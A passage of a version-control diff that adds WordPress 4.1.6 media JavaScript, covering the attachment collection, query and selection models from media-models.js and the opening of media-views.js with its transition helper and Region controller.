+					break;
+			}
+		},
+
+		updateSize: function() {
+			var size;
+
+			if ( ! this.attachment ) {
+				return;
+			}
+
+			if ( this.get( 'size' ) === 'custom' ) {
+				this.set( 'width', this.get( 'customWidth' ) );
+				this.set( 'height', this.get( 'customHeight' ) );
+				this.set( 'url', this.get( 'originalUrl' ) );
+				return;
+			}
+
+			size = this.attachment.get( 'sizes' )[ this.get( 'size' ) ];
+
+			if ( ! size ) {
+				return;
+			}
+
+			this.set( 'url', size.url );
+			this.set( 'width', size.width );
+			this.set( 'height', size.height );
+		},
+
+		setAspectRatio: function() {
+			var full;
+
+			if ( this.attachment && this.attachment.get( 'sizes' ) ) {
+				full = this.attachment.get( 'sizes' ).full;
+
+				if ( full ) {
+					this.set( 'aspectRatio', full.width / full.height );
+					return;
+				}
+			}
+
+			this.set( 'aspectRatio', this.get( 'customWidth' ) / this.get( 'customHeight' ) );
+		}
+	});
+
+	/**
+	 * wp.media.model.Attachments
+	 *
+	 * A collection of attachments.
+	 *
+	 * This collection has no persistence with the server without supplying
+	 * 'options.props.query = true', which will mirror the collection
+	 * to an Attachments Query collection - @see wp.media.model.Attachments.mirror().
+	 *
+	 * @class
+	 * @augments Backbone.Collection
+	 *
+	 * @param {array}  [models]                Models to initialize with the collection.
+	 * @param {object} [options]               Options hash for the collection.
+	 * @param {string} [options.props]         Options hash for the initial query properties.
+	 * @param {string} [options.props.order]   Initial order (ASC or DESC) for the collection.
+	 * @param {string} [options.props.orderby] Initial attribute key to order the collection by.
+	 * @param {string} [options.props.query]   Whether the collection is linked to an attachments query.
+	 * @param {string} [options.observe]
+	 * @param {string} [options.filters]
+	 *
+	 */
+	Attachments = media.model.Attachments = Backbone.Collection.extend({
+		/**
+		 * @type {wp.media.model.Attachment}
+		 */
+		model: Attachment,
+		/**
+		 * @param {Array} [models=[]] Array of models used to populate the collection.
+		 * @param {Object} [options={}]
+		 */
+		initialize: function( models, options ) {
+			options = options || {};
+
+			this.props   = new Backbone.Model();
+			this.filters = options.filters || {};
+
+			// Bind default `change` events to the `props` model.
+			this.props.on( 'change', this._changeFilteredProps, this );
+
+			this.props.on( 'change:order',   this._changeOrder,   this );
+			this.props.on( 'change:orderby', this._changeOrderby, this );
+			this.props.on( 'change:query',   this._changeQuery,   this );
+
+			this.props.set( _.defaults( options.props || {} ) );
+
+			if ( options.observe ) {
+				this.observe( options.observe );
+			}
+		},
+		/**
+		 * Sort the collection when the order attribute changes.
+		 *
+		 * @access private
+		 */
+		_changeOrder: function() {
+			if ( this.comparator ) {
+				this.sort();
+			}
+		},
+		/**
+		 * Set the default comparator only when the `orderby` property is set.
+		 *
+		 * @access private
+		 *
+		 * @param {Backbone.Model} model
+		 * @param {string} orderby
+		 */
+		_changeOrderby: function( model, orderby ) {
+			// If a different comparator is defined, bail.
+			if ( this.comparator && this.comparator !== Attachments.comparator ) {
+				return;
+			}
+
+			if ( orderby && 'post__in' !== orderby ) {
+				this.comparator = Attachments.comparator;
+			} else {
+				delete this.comparator;
+			}
+		},
+		/**
+		 * If the `query` property is set to true, query the server using
+		 * the `props` values, and sync the results to this collection.
+		 *
+		 * @access private
+		 *
+		 * @param {Backbone.Model} model
+		 * @param {Boolean} query
+		 */
+		_changeQuery: function( model, query ) {
+			if ( query ) {
+				this.props.on( 'change', this._requery, this );
+				this._requery();
+			} else {
+				this.props.off( 'change', this._requery, this );
+			}
+		},
+		/**
+		 * @access private
+		 *
+		 * @param {Backbone.Model} model
+		 */
+		_changeFilteredProps: function( model ) {
+			// If this is a query, updating the collection will be handled by
+			// `this._requery()`.
+			if ( this.props.get('query') ) {
+				return;
+			}
+
+			var changed = _.chain( model.changed ).map( function( t, prop ) {
+				var filter = Attachments.filters[ prop ],
+					term = model.get( prop );
+
+				if ( ! filter ) {
+					return;
+				}
+
+				if ( term && ! this.filters[ prop ] ) {
+					this.filters[ prop ] = filter;
+				} else if ( ! term && this.filters[ prop ] === filter ) {
+					delete this.filters[ prop ];
+				} else {
+					return;
+				}
+
+				// Record the change.
+				return true;
+			}, this ).any().value();
+
+			if ( ! changed ) {
+				return;
+			}
+
+			// If no `Attachments` model is provided to source the searches
+			// from, then automatically generate a source from the existing
+			// models.
+			if ( ! this._source ) {
+				this._source = new Attachments( this.models );
+			}
+
+			this.reset( this._source.filter( this.validator, this ) );
+		},
+
+		validateDestroyed: false,
+		/**
+		 * Checks whether an attachment is valid.
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 * @returns {Boolean}
+		 */
+		validator: function( attachment ) {
+			if ( ! this.validateDestroyed && attachment.destroyed ) {
+				return false;
+			}
+			return _.all( this.filters, function( filter ) {
+				return !! filter.call( this, attachment );
+			}, this );
+		},
+		/**
+		 * Add or remove an attachment to the collection depending on its validity.
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 * @param {Object} options
+		 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+		 */
+		validate: function( attachment, options ) {
+			var valid = this.validator( attachment ),
+				hasAttachment = !! this.get( attachment.cid );
+
+			if ( ! valid && hasAttachment ) {
+				this.remove( attachment, options );
+			} else if ( valid && ! hasAttachment ) {
+				this.add( attachment, options );
+			}
+
+			return this;
+		},
+
+		/**
+		 * Add or remove all attachments from another collection depending on each one's validity.
+		 *
+		 * @param {wp.media.model.Attachments} attachments
+		 * @param {object} [options={}]
+		 *
+		 * @fires wp.media.model.Attachments#reset
+		 *
+		 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+		 */
+		validateAll: function( attachments, options ) {
+			options = options || {};
+
+			_.each( attachments.models, function( attachment ) {
+				this.validate( attachment, { silent: true });
+			}, this );
+
+			if ( ! options.silent ) {
+				this.trigger( 'reset', this, options );
+			}
+			return this;
+		},
+		/**
+		 * Start observing another attachments collection change events
+		 * and replicate them on this collection.
+		 *
+		 * @param {wp.media.model.Attachments} The attachments collection to observe.
+		 * @returns {wp.media.model.Attachments} Returns itself to allow chaining.
+		 */
+		observe: function( attachments ) {
+			this.observers = this.observers || [];
+			this.observers.push( attachments );
+
+			attachments.on( 'add change remove', this._validateHandler, this );
+			attachments.on( 'reset', this._validateAllHandler, this );
+			this.validateAll( attachments );
+			return this;
+		},
+		/**
+		 * Stop replicating collection change events from another attachments collection.
+		 *
+		 * @param {wp.media.model.Attachments} The attachments collection to stop observing.
+		 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+		 */
+		unobserve: function( attachments ) {
+			if ( attachments ) {
+				attachments.off( null, null, this );
+				this.observers = _.without( this.observers, attachments );
+
+			} else {
+				_.each( this.observers, function( attachments ) {
+					attachments.off( null, null, this );
+				}, this );
+				delete this.observers;
+			}
+
+			return this;
+		},
+		/**
+		 * @access private
+		 *
+		 * @param {wp.media.model.Attachments} attachment
+		 * @param {wp.media.model.Attachments} attachments
+		 * @param {Object} options
+		 *
+		 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+		 */
+		_validateHandler: function( attachment, attachments, options ) {
+			// If we're not mirroring this `attachments` collection,
+			// only retain the `silent` option.
+			options = attachments === this.mirroring ? options : {
+				silent: options && options.silent
+			};
+
+			return this.validate( attachment, options );
+		},
+		/**
+		 * @access private
+		 *
+		 * @param {wp.media.model.Attachments} attachments
+		 * @param {Object} options
+		 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+		 */
+		_validateAllHandler: function( attachments, options ) {
+			return this.validateAll( attachments, options );
+		},
+		/**
+		 * Start mirroring another attachments collection, clearing out any models already
+		 * in the collection.
+		 *
+		 * @param {wp.media.model.Attachments} The attachments collection to mirror.
+		 * @returns {wp.media.model.Attachments} Returns itself to allow chaining
+		 */
+		mirror: function( attachments ) {
+			if ( this.mirroring && this.mirroring === attachments ) {
+				return this;
+			}
+
+			this.unmirror();
+			this.mirroring = attachments;
+
+			// Clear the collection silently. A `reset` event will be fired
+			// when `observe()` calls `validateAll()`.
+			this.reset( [], { silent: true } );
+			this.observe( attachments );
+
+			return this;
+		},
+		/**
+		 * Stop mirroring another attachments collection.
+		 */
+		unmirror: function() {
+			if ( ! this.mirroring ) {
+				return;
+			}
+
+			this.unobserve( this.mirroring );
+			delete this.mirroring;
+		},
+		/**
+		 * Retrive more attachments from the server for the collection.
+		 *
+		 * Only works if the collection is mirroring a Query Attachments collection,
+		 * and forwards to its `more` method. This collection class doesn't have
+		 * server persistence by itself.
+		 *
+		 * @param {object} options
+		 * @returns {Promise}
+		 */
+		more: function( options ) {
+			var deferred = $.Deferred(),
+				mirroring = this.mirroring,
+				attachments = this;
+
+			if ( ! mirroring || ! mirroring.more ) {
+				return deferred.resolveWith( this ).promise();
+			}
+			// If we're mirroring another collection, forward `more` to
+			// the mirrored collection. Account for a race condition by
+			// checking if we're still mirroring that collection when
+			// the request resolves.
+			mirroring.more( options ).done( function() {
+				if ( this === attachments.mirroring )
+					deferred.resolveWith( this );
+			});
+
+			return deferred.promise();
+		},
+		/**
+		 * Whether there are more attachments that haven't been sync'd from the server
+		 * that match the collection's query.
+		 *
+		 * Only works if the collection is mirroring a Query Attachments collection,
+		 * and forwards to its `hasMore` method. This collection class doesn't have
+		 * server persistence by itself.
+		 *
+		 * @returns {boolean}
+		 */
+		hasMore: function() {
+			return this.mirroring ? this.mirroring.hasMore() : false;
+		},
+		/**
+		 * A custom AJAX-response parser.
+		 *
+		 * See trac ticket #24753
+		 *
+		 * @param {Object|Array} resp The raw response Object/Array.
+		 * @param {Object} xhr
+		 * @returns {Array} The array of model attributes to be added to the collection
+		 */
+		parse: function( resp, xhr ) {
+			if ( ! _.isArray( resp ) ) {
+				resp = [resp];
+			}
+
+			return _.map( resp, function( attrs ) {
+				var id, attachment, newAttributes;
+
+				if ( attrs instanceof Backbone.Model ) {
+					id = attrs.get( 'id' );
+					attrs = attrs.attributes;
+				} else {
+					id = attrs.id;
+				}
+
+				attachment = Attachment.get( id );
+				newAttributes = attachment.parse( attrs, xhr );
+
+				if ( ! _.isEqual( attachment.attributes, newAttributes ) ) {
+					attachment.set( newAttributes );
+				}
+
+				return attachment;
+			});
+		},
+		/**
+		 * If the collection is a query, create and mirror an Attachments Query collection.
+		 *
+		 * @access private
+		 */
+		_requery: function( refresh ) {
+			var props;
+			if ( this.props.get('query') ) {
+				props = this.props.toJSON();
+				props.cache = ( true !== refresh );
+				this.mirror( Query.get( props ) );
+			}
+		},
+		/**
+		 * If this collection is sorted by `menuOrder`, recalculates and saves
+		 * the menu order to the database.
+		 *
+		 * @returns {undefined|Promise}
+		 */
+		saveMenuOrder: function() {
+			if ( 'menuOrder' !== this.props.get('orderby') ) {
+				return;
+			}
+
+			// Removes any uploading attachments, updates each attachment's
+			// menu order, and returns an object with an { id: menuOrder }
+			// mapping to pass to the request.
+			var attachments = this.chain().filter( function( attachment ) {
+				return ! _.isUndefined( attachment.id );
+			}).map( function( attachment, index ) {
+				// Indices start at 1.
+				index = index + 1;
+				attachment.set( 'menuOrder', index );
+				return [ attachment.id, index ];
+			}).object().value();
+
+			if ( _.isEmpty( attachments ) ) {
+				return;
+			}
+
+			return media.post( 'save-attachment-order', {
+				nonce:       media.model.settings.post.nonce,
+				post_id:     media.model.settings.post.id,
+				attachments: attachments
+			});
+		}
+	}, {
+		/**
+		 * A function to compare two attachment models in an attachments collection.
+		 *
+		 * Used as the default comparator for instances of wp.media.model.Attachments
+		 * and its subclasses. @see wp.media.model.Attachments._changeOrderby().
+		 *
+		 * @static
+		 *
+		 * @param {Backbone.Model} a
+		 * @param {Backbone.Model} b
+		 * @param {Object} options
+		 * @returns {Number} -1 if the first model should come before the second,
+		 *    0 if they are of the same rank and
+		 *    1 if the first model should come after.
+		 */
+		comparator: function( a, b, options ) {
+			var key   = this.props.get('orderby'),
+				order = this.props.get('order') || 'DESC',
+				ac    = a.cid,
+				bc    = b.cid;
+
+			a = a.get( key );
+			b = b.get( key );
+
+			if ( 'date' === key || 'modified' === key ) {
+				a = a || new Date();
+				b = b || new Date();
+			}
+
+			// If `options.ties` is set, don't enforce the `cid` tiebreaker.
+			if ( options && options.ties ) {
+				ac = bc = null;
+			}
+
+			return ( 'DESC' === order ) ? compare( a, b, ac, bc ) : compare( b, a, bc, ac );
+		},
+		/**
+		 * @namespace
+		 */
+		filters: {
+			/**
+			 * @static
+			 * Note that this client-side searching is *not* equivalent
+			 * to our server-side searching.
+			 *
+			 * @param {wp.media.model.Attachment} attachment
+			 *
+			 * @this wp.media.model.Attachments
+			 *
+			 * @returns {Boolean}
+			 */
+			search: function( attachment ) {
+				if ( ! this.props.get('search') ) {
+					return true;
+				}
+
+				return _.any(['title','filename','description','caption','name'], function( key ) {
+					var value = attachment.get( key );
+					return value && -1 !== value.search( this.props.get('search') );
+				}, this );
+			},
+			/**
+			 * @static
+			 * @param {wp.media.model.Attachment} attachment
+			 *
+			 * @this wp.media.model.Attachments
+			 *
+			 * @returns {Boolean}
+			 */
+			type: function( attachment ) {
+				var type = this.props.get('type');
+				return ! type || -1 !== type.indexOf( attachment.get('type') );
+			},
+			/**
+			 * @static
+			 * @param {wp.media.model.Attachment} attachment
+			 *
+			 * @this wp.media.model.Attachments
+			 *
+			 * @returns {Boolean}
+			 */
+			uploadedTo: function( attachment ) {
+				var uploadedTo = this.props.get('uploadedTo');
+				if ( _.isUndefined( uploadedTo ) ) {
+					return true;
+				}
+
+				return uploadedTo === attachment.get('uploadedTo');
+			},
+			/**
+			 * @static
+			 * @param {wp.media.model.Attachment} attachment
+			 *
+			 * @this wp.media.model.Attachments
+			 *
+			 * @returns {Boolean}
+			 */
+			status: function( attachment ) {
+				var status = this.props.get('status');
+				if ( _.isUndefined( status ) ) {
+					return true;
+				}
+
+				return status === attachment.get('status');
+			}
+		}
+	});
+
+	/**
+	 * A collection of all attachments that have been fetched from the server.
+	 *
+	 * @static
+	 * @member {wp.media.model.Attachments}
+	 */
+	Attachments.all = new Attachments();
+
+	/**
+	 * wp.media.query
+	 *
+	 * Shorthand for creating a new Attachments Query.
+	 *
+	 * @param {object} [props]
+	 * @returns {wp.media.model.Attachments}
+	 */
+	media.query = function( props ) {
+		return new Attachments( null, {
+			props: _.extend( _.defaults( props || {}, { orderby: 'date' } ), { query: true } )
+		});
+	};
+
+	/**
+	 * wp.media.model.Query
+	 *
+	 * A collection of attachments that match the supplied query arguments.
+	 *
+	 * Note: Do NOT change this.args after the query has been initialized.
+	 *       Things will break.
+	 *
+	 * @class
+	 * @augments wp.media.model.Attachments
+	 * @augments Backbone.Collection
+	 *
+	 * @param {array}  [models]                      Models to initialize with the collection.
+	 * @param {object} [options]                     Options hash.
+	 * @param {object} [options.args]                Attachments query arguments.
+	 * @param {object} [options.args.posts_per_page]
+	 */
+	Query = media.model.Query = Attachments.extend({
+		/**
+		 * @global wp.Uploader
+		 *
+		 * @param {array}  [models=[]]  Array of initial models to populate the collection.
+		 * @param {object} [options={}]
+		 */
+		initialize: function( models, options ) {
+			var allowed;
+
+			options = options || {};
+			Attachments.prototype.initialize.apply( this, arguments );
+
+			this.args     = options.args;
+			this._hasMore = true;
+			this.created  = new Date();
+
+			this.filters.order = function( attachment ) {
+				var orderby = this.props.get('orderby'),
+					order = this.props.get('order');
+
+				if ( ! this.comparator ) {
+					return true;
+				}
+
+				// We want any items that can be placed before the last
+				// item in the set. If we add any items after the last
+				// item, then we can't guarantee the set is complete.
+				if ( this.length ) {
+					return 1 !== this.comparator( attachment, this.last(), { ties: true });
+
+				// Handle the case where there are no items yet and
+				// we're sorting for recent items. In that case, we want
+				// changes that occurred after we created the query.
+				} else if ( 'DESC' === order && ( 'date' === orderby || 'modified' === orderby ) ) {
+					return attachment.get( orderby ) >= this.created;
+
+				// If we're sorting by menu order and we have no items,
+				// accept any items that have the default menu order (0).
+				} else if ( 'ASC' === order && 'menuOrder' === orderby ) {
+					return attachment.get( orderby ) === 0;
+				}
+
+				// Otherwise, we don't want any items yet.
+				return false;
+			};
+
+			// Observe the central `wp.Uploader.queue` collection to watch for
+			// new matches for the query.
+			//
+			// Only observe when a limited number of query args are set. There
+			// are no filters for other properties, so observing will result in
+			// false positives in those queries.
+			allowed = [ 's', 'order', 'orderby', 'posts_per_page', 'post_mime_type', 'post_parent' ];
+			if ( wp.Uploader && _( this.args ).chain().keys().difference( allowed ).isEmpty().value() ) {
+				this.observe( wp.Uploader.queue );
+			}
+		},
+		/**
+		 * Whether there are more attachments that haven't been sync'd from the server
+		 * that match the collection's query.
+		 *
+		 * @returns {boolean}
+		 */
+		hasMore: function() {
+			return this._hasMore;
+		},
+		/**
+		 * Fetch more attachments from the server for the collection.
+		 *
+		 * @param   {object}  [options={}]
+		 * @returns {Promise}
+		 */
+		more: function( options ) {
+			var query = this;
+
+			// If there is already a request pending, return early with the Deferred object.
+			if ( this._more && 'pending' === this._more.state() ) {
+				return this._more;
+			}
+
+			if ( ! this.hasMore() ) {
+				return $.Deferred().resolveWith( this ).promise();
+			}
+
+			options = options || {};
+			options.remove = false;
+
+			return this._more = this.fetch( options ).done( function( resp ) {
+				if ( _.isEmpty( resp ) || -1 === this.args.posts_per_page || resp.length < this.args.posts_per_page ) {
+					query._hasMore = false;
+				}
+			});
+		},
+		/**
+		 * Overrides Backbone.Collection.sync
+		 * Overrides wp.media.model.Attachments.sync
+		 *
+		 * @param {String} method
+		 * @param {Backbone.Model} model
+		 * @param {Object} [options={}]
+		 * @returns {Promise}
+		 */
+		sync: function( method, model, options ) {
+			var args, fallback;
+
+			// Overload the read method so Attachment.fetch() functions correctly.
+			if ( 'read' === method ) {
+				options = options || {};
+				options.context = this;
+				options.data = _.extend( options.data || {}, {
+					action:  'query-attachments',
+					post_id: media.model.settings.post.id
+				});
+
+				// Clone the args so manipulation is non-destructive.
+				args = _.clone( this.args );
+
+				// Determine which page to query.
+				if ( -1 !== args.posts_per_page ) {
+					args.paged = Math.floor( this.length / args.posts_per_page ) + 1;
+				}
+
+				options.data.query = args;
+				return media.ajax( options );
+
+			// Otherwise, fall back to Backbone.sync()
+			} else {
+				/**
+				 * Call wp.media.model.Attachments.sync or Backbone.sync
+				 */
+				fallback = Attachments.prototype.sync ? Attachments.prototype : Backbone;
+				return fallback.sync.apply( this, arguments );
+			}
+		}
+	}, {
+		/**
+		 * @readonly
+		 */
+		defaultProps: {
+			orderby: 'date',
+			order:   'DESC'
+		},
+		/**
+		 * @readonly
+		 */
+		defaultArgs: {
+			posts_per_page: 40
+		},
+		/**
+		 * @readonly
+		 */
+		orderby: {
+			allowed:  [ 'name', 'author', 'date', 'title', 'modified', 'uploadedTo', 'id', 'post__in', 'menuOrder' ],
+			/**
+			 * A map of JavaScript orderby values to their WP_Query equivalents.
+			 * @type {Object}
+			 */
+			valuemap: {
+				'id':         'ID',
+				'uploadedTo': 'parent',
+				'menuOrder':  'menu_order ID'
+			}
+		},
+		/**
+		 * A map of JavaScript query properties to their WP_Query equivalents.
+		 *
+		 * @readonly
+		 */
+		propmap: {
+			'search':    's',
+			'type':      'post_mime_type',
+			'perPage':   'posts_per_page',
+			'menuOrder': 'menu_order',
+			'uploadedTo': 'post_parent',
+			'status':     'post_status',
+			'include':    'post__in',
+			'exclude':    'post__not_in'
+		},
+		/**
+		 * Creates and returns an Attachments Query collection given the properties.
+		 *
+		 * Caches query objects and reuses where possible.
+		 *
+		 * @static
+		 * @method
+		 *
+		 * @param {object} [props]
+		 * @param {Object} [props.cache=true]   Whether to use the query cache or not.
+		 * @param {Object} [props.order]
+		 * @param {Object} [props.orderby]
+		 * @param {Object} [props.include]
+		 * @param {Object} [props.exclude]
+		 * @param {Object} [props.s]
+		 * @param {Object} [props.post_mime_type]
+		 * @param {Object} [props.posts_per_page]
+		 * @param {Object} [props.menu_order]
+		 * @param {Object} [props.post_parent]
+		 * @param {Object} [props.post_status]
+		 * @param {Object} [options]
+		 *
+		 * @returns {wp.media.model.Query} A new Attachments Query collection.
+		 */
+		get: (function(){
+			/**
+			 * @static
+			 * @type Array
+			 */
+			var queries = [];
+
+			/**
+			 * @returns {Query}
+			 */
+			return function( props, options ) {
+				var args     = {},
+					orderby  = Query.orderby,
+					defaults = Query.defaultProps,
+					query,
+					cache    = !! props.cache || _.isUndefined( props.cache );
+
+				// Remove the `query` property. This isn't linked to a query,
+				// this *is* the query.
+				delete props.query;
+				delete props.cache;
+
+				// Fill default args.
+				_.defaults( props, defaults );
+
+				// Normalize the order.
+				props.order = props.order.toUpperCase();
+				if ( 'DESC' !== props.order && 'ASC' !== props.order ) {
+					props.order = defaults.order.toUpperCase();
+				}
+
+				// Ensure we have a valid orderby value.
+				if ( ! _.contains( orderby.allowed, props.orderby ) ) {
+					props.orderby = defaults.orderby;
+				}
+
+				_.each( [ 'include', 'exclude' ], function( prop ) {
+					if ( props[ prop ] && ! _.isArray( props[ prop ] ) ) {
+						props[ prop ] = [ props[ prop ] ];
+					}
+				} );
+
+				// Generate the query `args` object.
+				// Correct any differing property names.
+				_.each( props, function( value, prop ) {
+					if ( _.isNull( value ) ) {
+						return;
+					}
+
+					args[ Query.propmap[ prop ] || prop ] = value;
+				});
+
+				// Fill any other default query args.
+				_.defaults( args, Query.defaultArgs );
+
+				// `props.orderby` does not always map directly to `args.orderby`.
+				// Substitute exceptions specified in orderby.keymap.
+				args.orderby = orderby.valuemap[ props.orderby ] || props.orderby;
+
+				// Search the query cache for a matching query.
+				if ( cache ) {
+					query = _.find( queries, function( query ) {
+						return _.isEqual( query.args, args );
+					});
+				} else {
+					queries = [];
+				}
+
+				// Otherwise, create a new query and add it to the cache.
+				if ( ! query ) {
+					query = new Query( [], _.extend( options || {}, {
+						props: props,
+						args:  args
+					} ) );
+					queries.push( query );
+				}
+
+				return query;
+			};
+		}())
+	});
+
+	/**
+	 * wp.media.model.Selection
+	 *
+	 * A selection of attachments.
+	 *
+	 * @class
+	 * @augments wp.media.model.Attachments
+	 * @augments Backbone.Collection
+	 */
+	media.model.Selection = Attachments.extend({
+		/**
+		 * Refresh the `single` model whenever the selection changes.
+		 * Binds `single` instead of using the context argument to ensure
+		 * it receives no parameters.
+		 *
+		 * @param {Array} [models=[]] Array of models used to populate the collection.
+		 * @param {Object} [options={}]
+		 */
+		initialize: function( models, options ) {
+			/**
+			 * call 'initialize' directly on the parent class
+			 */
+			Attachments.prototype.initialize.apply( this, arguments );
+			this.multiple = options && options.multiple;
+
+			this.on( 'add remove reset', _.bind( this.single, this, false ) );
+		},
+
+		/**
+		 * If the workflow does not support multi-select, clear out the selection
+		 * before adding a new attachment to it.
+		 *
+		 * @param {Array} models
+		 * @param {Object} options
+		 * @returns {wp.media.model.Attachment[]}
+		 */
+		add: function( models, options ) {
+			if ( ! this.multiple ) {
+				this.remove( this.models );
+			}
+			/**
+			 * call 'add' directly on the parent class
+			 */
+			return Attachments.prototype.add.call( this, models, options );
+		},
+
+		/**
+		 * Fired when toggling (clicking on) an attachment in the modal.
+		 *
+		 * @param {undefined|boolean|wp.media.model.Attachment} model
+		 *
+		 * @fires wp.media.model.Selection#selection:single
+		 * @fires wp.media.model.Selection#selection:unsingle
+		 *
+		 * @returns {Backbone.Model}
+		 */
+		single: function( model ) {
+			var previous = this._single;
+
+			// If a `model` is provided, use it as the single model.
+			if ( model ) {
+				this._single = model;
+			}
+			// If the single model isn't in the selection, remove it.
+			if ( this._single && ! this.get( this._single.cid ) ) {
+				delete this._single;
+			}
+
+			this._single = this._single || this.last();
+
+			// If single has changed, fire an event.
+			if ( this._single !== previous ) {
+				if ( previous ) {
+					previous.trigger( 'selection:unsingle', previous, this );
+
+					// If the model was already removed, trigger the collection
+					// event manually.
+					if ( ! this.get( previous.cid ) ) {
+						this.trigger( 'selection:unsingle', previous, this );
+					}
+				}
+				if ( this._single ) {
+					this._single.trigger( 'selection:single', this._single, this );
+				}
+			}
+
+			// Return the single model, or the last model as a fallback.
+			return this._single;
+		}
+	});
+
+	// Clean up. Prevents mobile browsers caching
+	$(window).on('unload', function(){
+		window.wp = null;
+	});
+
+}(jQuery));
Index: /tags/4.1.6/src/wp-includes/js/media-views.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/media-views.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/media-views.js	(revision 33402)
@@ -0,0 +1,7795 @@
+/* global _wpMediaViewsL10n, confirm, getUserSetting, setUserSetting */
+( function( $, _ ) {
+	var l10n,
+		media = wp.media,
+		isTouchDevice = ( 'ontouchend' in document );
+
+	// Link any localized strings.
+	l10n = media.view.l10n = typeof _wpMediaViewsL10n === 'undefined' ? {} : _wpMediaViewsL10n;
+
+	// Link any settings.
+	media.view.settings = l10n.settings || {};
+	delete l10n.settings;
+
+	// Copy the `post` setting over to the model settings.
+	media.model.settings.post = media.view.settings.post;
+
+	// Check if the browser supports CSS 3.0 transitions
+	$.support.transition = (function(){
+		var style = document.documentElement.style,
+			transitions = {
+				WebkitTransition: 'webkitTransitionEnd',
+				MozTransition:    'transitionend',
+				OTransition:      'oTransitionEnd otransitionend',
+				transition:       'transitionend'
+			}, transition;
+
+		transition = _.find( _.keys( transitions ), function( transition ) {
+			return ! _.isUndefined( style[ transition ] );
+		});
+
+		return transition && {
+			end: transitions[ transition ]
+		};
+	}());
+
+	/**
+	 * A shared event bus used to provide events into
+	 * the media workflows that 3rd-party devs can use to hook
+	 * in.
+	 */
+	media.events = _.extend( {}, Backbone.Events );
+
+	/**
+	 * Makes it easier to bind events using transitions.
+	 *
+	 * @param {string} selector
+	 * @param {Number} sensitivity
+	 * @returns {Promise}
+	 */
+	media.transition = function( selector, sensitivity ) {
+		var deferred = $.Deferred();
+
+		sensitivity = sensitivity || 2000;
+
+		if ( $.support.transition ) {
+			if ( ! (selector instanceof $) ) {
+				selector = $( selector );
+			}
+
+			// Resolve the deferred when the first element finishes animating.
+			selector.first().one( $.support.transition.end, deferred.resolve );
+
+			// Just in case the event doesn't trigger, fire a callback.
+			_.delay( deferred.resolve, sensitivity );
+
+		// Otherwise, execute on the spot.
+		} else {
+			deferred.resolve();
+		}
+
+		return deferred.promise();
+	};
+
+	/**
+	 * wp.media.controller.Region
+	 *
+	 * A region is a persistent application layout area.
+	 *
+	 * A region assumes one mode at any time, and can be switched to another.
+	 *
+	 * When mode changes, events are triggered on the region's parent view.
+	 * The parent view will listen to specific events and fill the region with an
+	 * appropriate view depending on mode. For example, a frame listens for the
+	 * 'browse' mode t be activated on the 'content' view and then fills the region
+	 * with an AttachmentsBrowser view.
+	 *
+	 * @class
+	 *
+	 * @param {object}        options          Options hash for the region.
+	 * @param {string}        options.id       Unique identifier for the region.
+	 * @param {Backbone.View} options.view     A parent view the region exists within.
+	 * @param {string}        options.selector jQuery selector for the region within the parent view.
+	 */
+	media.controller.Region = function( options ) {
+		_.extend( this, _.pick( options || {}, 'id', 'view', 'selector' ) );
+	};
+
+	// Use Backbone's self-propagating `extend` inheritance method.
+	media.controller.Region.extend = Backbone.Model.extend;
+
+	_.extend( media.controller.Region.prototype, {
+		/**
+		 * Activate a mode.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param {string} mode
+		 *
+		 * @fires this.view#{this.id}:activate:{this._mode}
+		 * @fires this.view#{this.id}:activate
+		 * @fires this.view#{this.id}:deactivate:{this._mode}
+		 * @fires this.view#{this.id}:deactivate
+		 *
+		 * @returns {wp.media.controller.Region} Returns itself to allow chaining.
+		 */
+		mode: function( mode ) {
+			if ( ! mode ) {
+				return this._mode;
+			}
+			// Bail if we're trying to change to the current mode.
+			if ( mode === this._mode ) {
+				return this;
+			}
+
+			/**
+			 * Region mode deactivation event.
+			 *
+			 * @event this.view#{this.id}:deactivate:{this._mode}
+			 * @event this.view#{this.id}:deactivate
+			 */
+			this.trigger('deactivate');
+
+			this._mode = mode;
+			this.render( mode );
+
+			/**
+			 * Region mode activation event.
+			 *
+			 * @event this.view#{this.id}:activate:{this._mode}
+			 * @event this.view#{this.id}:activate
+			 */
+			this.trigger('activate');
+			return this;
+		},
+		/**
+		 * Render a mode.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param {string} mode
+		 *
+		 * @fires this.view#{this.id}:create:{this._mode}
+		 * @fires this.view#{this.id}:create
+		 * @fires this.view#{this.id}:render:{this._mode}
+		 * @fires this.view#{this.id}:render
+		 *
+		 * @returns {wp.media.controller.Region} Returns itself to allow chaining
+		 */
+		render: function( mode ) {
+			// If the mode isn't active, activate it.
+			if ( mode && mode !== this._mode ) {
+				return this.mode( mode );
+			}
+
+			var set = { view: null },
+				view;
+
+			/**
+			 * Create region view event.
+			 *
+			 * Region view creation takes place in an event callback on the frame.
+			 *
+			 * @event this.view#{this.id}:create:{this._mode}
+			 * @event this.view#{this.id}:create
+			 */
+			this.trigger( 'create', set );
+			view = set.view;
+
+			/**
+			 * Render region view event.
+			 *
+			 * Region view creation takes place in an event callback on the frame.
+			 *
+			 * @event this.view#{this.id}:create:{this._mode}
+			 * @event this.view#{this.id}:create
+			 */
+			this.trigger( 'render', view );
+			if ( view ) {
+				this.set( view );
+			}
+			return this;
+		},
+
+		/**
+		 * Get the region's view.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @returns {wp.media.View}
+		 */
+		get: function() {
+			return this.view.views.first( this.selector );
+		},
+
+		/**
+		 * Set the region's view as a subview of the frame.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param {Array|Object} views
+		 * @param {Object} [options={}]
+		 * @returns {wp.Backbone.Subviews} Subviews is returned to allow chaining
+		 */
+		set: function( views, options ) {
+			if ( options ) {
+				options.add = false;
+			}
+			return this.view.views.set( this.selector, views, options );
+		},
+
+		/**
+		 * Trigger regional view events on the frame.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param {string} event
+		 * @returns {undefined|wp.media.controller.Region} Returns itself to allow chaining.
+		 */
+		trigger: function( event ) {
+			var base, args;
+
+			if ( ! this._mode ) {
+				return;
+			}
